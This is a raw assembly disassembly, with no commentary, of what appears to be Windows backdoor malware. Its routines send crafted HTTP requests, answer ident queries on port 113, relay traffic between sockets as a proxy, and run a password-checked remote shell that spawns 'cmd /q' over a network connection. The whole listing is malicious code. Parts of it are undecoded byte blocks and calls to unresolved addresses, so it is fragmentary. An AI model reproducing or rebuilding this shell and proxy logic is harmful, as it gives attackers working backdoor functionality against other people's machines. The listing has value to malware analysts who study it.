sub_4109F1+9Bj sub [ebp+arg_4], eax jnz short loc_410A36 loc_410AA2: ; CODE XREF: sub_4109F1+43j ; sub_4109F1+A8j push ebx call near ptr 26608D5h nop loc_410AA9: ; CODE XREF: sub_4109F1+30j pop edi pop esi pop ebx leave retn sub_4109F1 endp ; =============== S U B R O U T I N E ======================================= sub_410AAE proc near ; CODE XREF: sub_4100B4+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_410AD7 loc_410AC1: ; CODE XREF: sub_410AAE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410ACB mov byte ptr [esi+edi], 2Fh loc_410ACB: ; CODE XREF: sub_410AAE+17j push edi inc esi call sub_41B9C0 cmp esi, eax pop ecx jb short loc_410AC1 loc_410AD7: ; CODE XREF: sub_410AAE+11j mov eax, edi pop edi pop esi retn sub_410AAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB944 push 6 push 1 push 2 call dword_4CBA54 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB9D4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz short loc_410BB9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B55 mov eax, offset byte_43DB88 loc_410B55: ; CODE XREF: sub_410ADC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CBA24 push esi lea eax, [ebp+var_110] push edi push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB9EC pop esi loc_410BB9: ; CODE XREF: sub_410ADC+6Bj push ebx call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C266 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BF9 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_410BF9: ; CODE XREF: sub_410ADC+102j pop edi pop ebx leave retn sub_410ADC endp ; --------------------------------------------------------------------------- loc_410BFD: ; DATA XREF: ___:00401666o ; sub_401ACD+438Bo push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41BF70 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CB9D4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D61 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E91C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_410D61 push 5 push ebx call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_410D61 mov [ebp-0Ch], edi mov edi, 200h loc_410C88: ; CODE XREF: ___:00410CE7j ; ___:00410D4Aj ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_410D5C movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CBA60 push eax lea eax, [ebp-238h] push offset dword_435164 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_410C88 lea eax, [ebp-238h] push esi push eax call sub_4184CC push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41BF70 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AE84 add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_410C88 mov dword ptr [ebp-8], 1 jmp loc_410C88 ; --------------------------------------------------------------------------- loc_410D5C: ; CODE XREF: ___:00410C9Dj cmp [ebp-8], esi jnz short loc_410D88 loc_410D61: ; CODE XREF: ___:00410C44j ; ___:00410C68j ... call dword_4CB968 push eax lea eax, [ebp-238h] push offset dword_435120 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 10h loc_410D88: ; CODE XREF: ___:00410D5Fj push ebx call dword_4CBA6C push dword ptr [ebp-4] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push esi call near ptr 26E0000h nop pop edi pop esi pop ebx loc_410DAB: ; DATA XREF: sub_401ACD+605Do push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CB9D4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410F17 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E91C[ecx], eax call dword_4CB8E4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CBA00 test eax, eax jnz loc_410F17 push 0Ah push dword ptr [ebp+8] call dword_4CB9FC test eax, eax jnz loc_410F17 loc_410E5B: ; CODE XREF: ___:00410E71j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CBA68 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E5B movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CBA60 push eax lea eax, [ebp-350h] push offset unk_4351CC push eax call sub_41C266 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B3BA mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43E914[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_410F3C push esi push esi ; --------------------------------------------------------------------------- dw 25E8h dd 900226F1h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 225FF97h dd 6BE8EDEBh, 900226FAh, 51906850h, 99E80043h, 5900004Eh ; --------------------------------------------------------------------------- pop ecx jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F17: ; CODE XREF: ___:00410E0Ej ; ___:00410E42j ... mov edi, [ebp+8] loc_410F1A: ; CODE XREF: ___:00410F15j push edi call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-40h] call sub_40B6D6 pop ecx push esi call near ptr 26E0000h nop pop edi pop esi loc_410F3C: ; DATA XREF: ___:00410ECFo push ebp mov ebp, esp mov eax, 1344h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CBA54 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4110F2 push 10h lea eax, [ebp-18h] push edi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CB9D4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410FCC lea eax, [ebp-13Ch] push eax call dword_4CBA58 jmp short loc_410FDA ; --------------------------------------------------------------------------- loc_410FCC: ; CODE XREF: ___:00410FBBj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CB98C loc_410FDA: ; CODE XREF: ___:00410FCAj cmp eax, edi jz loc_4110F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_4110F2 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CBA60 push eax lea eax, [ebp-344h] push offset unk_435254 push eax call sub_41C266 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B3BA imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E91C[ebx] mov dword_43E914[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E920[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_411123 push edi push edi nop call near ptr 2680000h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_4110DF loc_41108C: ; CODE XREF: ___:00411099j cmp [ebp-20h], edi jnz short loc_41109B push 32h nop call near ptr 2670E97h jmp short loc_41108C ; --------------------------------------------------------------------------- loc_41109B: ; CODE XREF: ___:0041108Fj mov ebx, 1000h loc_4110A0: ; CODE XREF: ___:004110DBj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CB9EC cmp eax, edi jle short loc_4110F2 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_4110A0 jmp short loc_4110F2 ; --------------------------------------------------------------------------- loc_4110DF: ; CODE XREF: ___:0041108Aj call near ptr 2680972h nop push eax push offset unk_435214 call sub_415DAC pop ecx pop ecx loc_4110F2: ; CODE XREF: ___:00410F80j ; ___:00410FDCj ... mov eax, [ebp-4] imul eax, 234h push dword_43E91C[eax] call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-4] call sub_40B6D6 pop ecx push edi nop call near ptr 26E0000h pop edi pop esi pop ebx loc_411123: ; DATA XREF: ___:0041106Co push ebp mov ebp, esp mov eax, 1128h call sub_41C500 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41115A: ; CODE XREF: ___:0041119Fj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E920[esi] call dword_4CB9EC test eax, eax jle short loc_4111A1 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E91C[esi] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_41115A loc_4111A1: ; CODE XREF: ___:00411184j push dword_43E920[esi] call dword_4CBA6C push dword ptr [ebp-14h] call sub_40B6D6 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h, 42h, 0EEh ; --------------------------------------------------------------------------- sub al, 2 pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43E91C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CB9BC test eax, eax jnz short loc_411244 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi call near ptr 26E0000h nop loc_411244: ; CODE XREF: ___:0041122Aj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CB9EC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4113C5 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CB928 test eax, eax jz short loc_4112BD call dword_4CB968 push eax push offset unk_43532C call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push edi nop call near ptr 26E0000h loc_4112BD: ; CODE XREF: ___:00411298j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CB98C cmp eax, edi jnz short loc_4112E7 push dword ptr [ebp-18h] call dword_4CBA60 push eax lea eax, [ebp-0B0h] push eax call sub_41C266 jmp short loc_4112F5 ; --------------------------------------------------------------------------- loc_4112E7: ; CODE XREF: ___:004112CDj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C890 loc_4112F5: ; CODE XREF: ___:004112E5j pop ecx pop ecx push edi push ebx push offset byte_43DB88 push dword ptr [esi] call dword_4CBA24 cmp dword_4CE72C, edi jnz short loc_411357 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_41141F add esp, 10h test eax, eax jnz short loc_411357 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CBA24 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi nop call near ptr 26E0000h loc_411357: ; CODE XREF: ___:0041130Cj ; ___:0041132Dj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4352F0 call sub_415DAC push dword ptr [ebp+8] call sub_4116D6 add esp, 10h test eax, eax jnz short loc_41139E nop call near ptr 2680972h push eax push offset unk_4352C4 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push ebx nop call near ptr 26E0000h loc_41139E: ; CODE XREF: ___:00411379j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_435298 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 10h push edi call near ptr 26E0000h nop ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113C5 proc near ; CODE XREF: ___:0041125Ap ; ___:00411267p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jnz short loc_411415 mov esi, [ebp+arg_4] loc_4113E3: ; CODE XREF: sub_4113C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41140A test al, al jz short loc_411419 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jz short loc_4113E3 jmp short loc_411415 ; --------------------------------------------------------------------------- loc_41140A: ; CODE XREF: sub_4113C5+27j push offset unk_435358 call sub_415DAC pop ecx loc_411415: ; CODE XREF: sub_4113C5+19j ; sub_4113C5+43j xor eax, eax jmp short loc_41141C ; --------------------------------------------------------------------------- loc_411419: ; CODE XREF: sub_4113C5+2Bj push 1 pop eax loc_41141C: ; CODE XREF: sub_4113C5+52j pop esi leave retn sub_4113C5 endp ; =============== S U B R O U T I N E ======================================= sub_41141F proc near ; CODE XREF: ___:00411323p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41144A push [esp+arg_4] push [esp+4+arg_0] push offset dword_435384 call sub_415DAC add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41144A: ; CODE XREF: sub_41141F+11j push 1 pop eax retn sub_41141F endp ; --------------------------------------------------------------------------- word_41144E dw 8B55h ; DATA XREF: sub_401ACD+237Ao dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 4CB944h, 0C63BF633h, 68501D74h dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh dd 59E89057h, 57022CEBh, 4116CC68h, 814E800h, 85900236h dd 0E82975C0h, 226F4B6h, 0B0685090h, 0E8004354h, 48E4h dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h dd 22CEB20h, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h dd 15FF5350h, 4CBA00h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh dd 4CB9FCh, 850FC085h, 103h, 43547468h, 0F045C700h, 0Ch dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h, 45C7FC45h dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 226E9E4h dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h dd 850FC875h, 0FFFFFF37h, 58E8326Ah, 900225F8h, 2BE8EDEBh dd 900226F3h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h, 57590000h dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022CE9h, 4439C033h dd 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116D6 proc near ; CODE XREF: ___:0041136Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411827 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E91C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_427084 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119F9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_411741 call near ptr 2680972h nop push eax push offset unk_435554 call sub_415DAC or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41177B ; --------------------------------------------------------------------------- loc_411741: ; CODE XREF: sub_4116D6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AAB lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_411782 call near ptr 2680972h nop push eax push offset unk_435554 call sub_415DAC pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26908E5h loc_41177B: ; CODE XREF: sub_4116D6+69j xor eax, eax jmp loc_411822 ; --------------------------------------------------------------------------- loc_411782: ; CODE XREF: sub_4116D6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 2780000h nop sub eax, ebx jz short loc_4117DC dec eax jz short loc_4117D6 dec eax jz short loc_4117C2 nop call near ptr 2680972h push eax push offset unk_435520 call sub_415DAC pop ecx pop ecx jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117C2: ; CODE XREF: sub_4116D6+D5j mov edi, dword_4270B4 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117D6: ; CODE XREF: sub_4116D6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4117E0 ; --------------------------------------------------------------------------- loc_4117DC: ; CODE XREF: sub_4116D6+CFj push ebx push dword ptr [esi+14h] loc_4117E0: ; CODE XREF: sub_4116D6+104j nop call near ptr 26908E5h push 1 push dword ptr [esi+8] nop call near ptr 2710A1Ah loc_4117F1: ; CODE XREF: sub_4116D6+EAj ; sub_4116D6+FEj push dword ptr [esi+10h] mov edi, dword_427070 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CBA6C push esi call sub_41BA91 pop ecx push 1 pop eax loc_411822: ; CODE XREF: sub_4116D6+A7j pop edi pop esi pop ebx leave retn sub_4116D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411827 proc near ; CODE XREF: sub_4116D6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BEB5 mov esi, eax pop ecx cmp esi, edi jz loc_411911 mov ebx, dword_427108 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427070 test eax, eax jnz short loc_41188A call near ptr 2680972h nop push eax push offset unk_435604 jmp short loc_4118AA ; --------------------------------------------------------------------------- loc_41188A: ; CODE XREF: sub_411827+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4118B2 nop call near ptr 2680972h push eax push offset unk_4355C4 loc_4118AA: ; CODE XREF: sub_411827+61j call sub_415DAC pop ecx jmp short loc_4118E0 ; --------------------------------------------------------------------------- loc_4118B2: ; CODE XREF: sub_411827+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411920 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_411915 push offset unk_43559C call sub_415D38 loc_4118E0: ; CODE XREF: sub_411827+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118EC push [ebp+var_4] call edi loc_4118EC: ; CODE XREF: sub_411827+BEj cmp [ebp+var_8], 0 jz short loc_4118F7 push [ebp+var_8] call edi loc_4118F7: ; CODE XREF: sub_411827+C9j mov eax, [esi] test eax, eax jz short loc_411900 push eax call edi loc_411900: ; CODE XREF: sub_411827+D4j mov eax, [esi+4] test eax, eax jz short loc_41190A push eax call edi loc_41190A: ; CODE XREF: sub_411827+DEj push esi call sub_41BA91 pop ecx loc_411911: ; CODE XREF: sub_411827+1Dj xor eax, eax jmp short loc_41191B ; --------------------------------------------------------------------------- loc_411915: ; CODE XREF: sub_411827+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41191B: ; CODE XREF: sub_411827+ECj pop edi pop esi pop ebx leave retn sub_411827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411920 proc near ; CODE XREF: sub_411827+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BF70 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_427104 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2720000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2660B67h nop test eax, eax jz short loc_4119DC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E918[eax], ecx nop call near ptr 26608D5h jmp short loc_4119F2 ; --------------------------------------------------------------------------- loc_4119DC: ; CODE XREF: sub_411920+9Aj nop call near ptr 2680972h push eax push offset unk_435644 call sub_415DAC mov esi, [ebp+var_4] pop ecx pop ecx loc_4119F2: ; CODE XREF: sub_411920+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270EC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411A22: ; CODE XREF: sub_4119F9+8Fj call ebx test eax, eax jz short loc_411A8A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A5D loc_411A33: ; CODE XREF: sub_4119F9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A4D cmp dl, 0Dh jz short loc_411A4D mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A4D: ; CODE XREF: sub_4119F9+44j ; sub_4119F9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411A33 loc_411A5D: ; CODE XREF: sub_4119F9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411A8A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411A22 ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_4119F9+2Dj ; sub_4119F9+79j mov esi, dword_427094 call esi cmp eax, 6Dh jz short loc_411AA6 call esi push eax push offset dword_435684 call sub_415DAC pop ecx pop ecx loc_411AA6: ; CODE XREF: sub_4119F9+9Cj pop edi pop esi pop ebx 